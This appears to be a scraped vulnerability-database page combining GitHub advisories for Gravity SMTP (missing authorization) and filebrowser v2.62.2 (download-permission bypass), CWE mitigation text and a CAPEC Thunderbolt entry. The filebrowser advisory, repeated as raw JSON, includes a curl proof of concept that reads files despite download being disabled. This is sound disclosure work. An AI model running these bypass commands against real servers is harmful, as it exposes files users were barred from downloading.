GHSA-66Q3-HGW9-JR5J
Vulnerability from github – Published: 2026-04-10 12:31 – Updated: 2026-04-10 12:31The Gravity SMTP plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to uninstall and deactivate the plugin and delete plugin options. NOTE: This vulnerability is also exploitable via a Cross-Site Request Forgery vector.

GHSA-67CG-CPJ7-QGC9
Vulnerability from github – Published: 2026-04-08 00:05 – Updated: 2026-04-08 00:05Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {

"details": "## Summary\n\nThe `resourceGetHandler` in `http/resource.go` returns full text file content without checking the `Perm.Download` permission flag. All three other content-serving endpoints (`/api/raw`, `/api/preview`, `/api/subtitle`) correctly verify this permission before serving content. A user with `download: false` can read any text file within their scope through two bypass paths.\n\nConfirmed on v2.62.2 (commit 860c19d).\n\n## Root Cause\n\n`http/resource.go` line 26-33 hardcodes `Content: true` in the FileOptions without checking download permission:\n\n file, err := files.NewFileInfo(\u0026files.FileOptions{\n ...\n Content: true, // Always loads text content, no permission check\n })\n\nLines 44-63: the `X-Encoding: true` header path reads the entire file and returns raw bytes as `application/octet-stream`, also without any download check.\n\nCompare with the three protected endpoints:\n\n // raw.go:83-85\n if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n // preview.go:38-40\n if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n // subtitle.go:13-15\n if !d.user.Perm.Download { return http.StatusAccepted, nil }\n\n## PoC\n\nTested on filebrowser v2.62.2, built from HEAD.\n\n # Create user with download=false via CLI\n filebrowser users add restricted testuser123456 --perm.download=false\n\n # Login\n TOKEN=$(curl -s http://HOST/api/login -d \u0027{\"username\":\"restricted\",\"password\":\"testuser123456\"}\u0027)\n\n # BLOCKED: /api/raw correctly enforces download permission\n curl -s -w \"\\nHTTP: %{http_code}\" http://HOST/api/raw/secret.txt -H \"X-Auth: $TOKEN\"\n # \u2192 202 Accepted (empty body)\n\n # BYPASS 1: /api/resources with X-Encoding returns raw file content\n curl -s http://HOST/api/resources/secret.txt -H \"X-Auth: $TOKEN\" -H \"X-Encoding: true\"\n # \u2192 200 OK, body: SECRET_PASSWORD=hunter2\n\n # BYPASS 2: /api/resources JSON includes content field\n curl -s http://HOST/api/resources/secret.txt -H \"X-Auth: $TOKEN\" | jq .content\n # \u2192 \"SECRET_PASSWORD=hunter2\\n\"\n\n## Impact\n\nA user with `download: false` can read the full content of text files within their authorized scope (up to the 10MB `detectType` limit). This includes source code, configuration files, credentials, and API tokens stored as text.\n\nThis bypass does not defeat path authorization. It bypasses only the `Download` permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check `Perm.Download`, one does not) indicates this is an oversight, not a design decision.\n\n## Suggested Fix\n\nMatch the existing endpoint behavior (HTTP 202 for denied downloads):\n\n Content: d.user.Perm.Download, // Only load content when permitted\n\nAnd add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:\n\n if !d.user.Perm.Download {\n return http.StatusAccepted, nil\n }\n\n---\n\n**Update:** Fix submitted as PR #5891.",

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
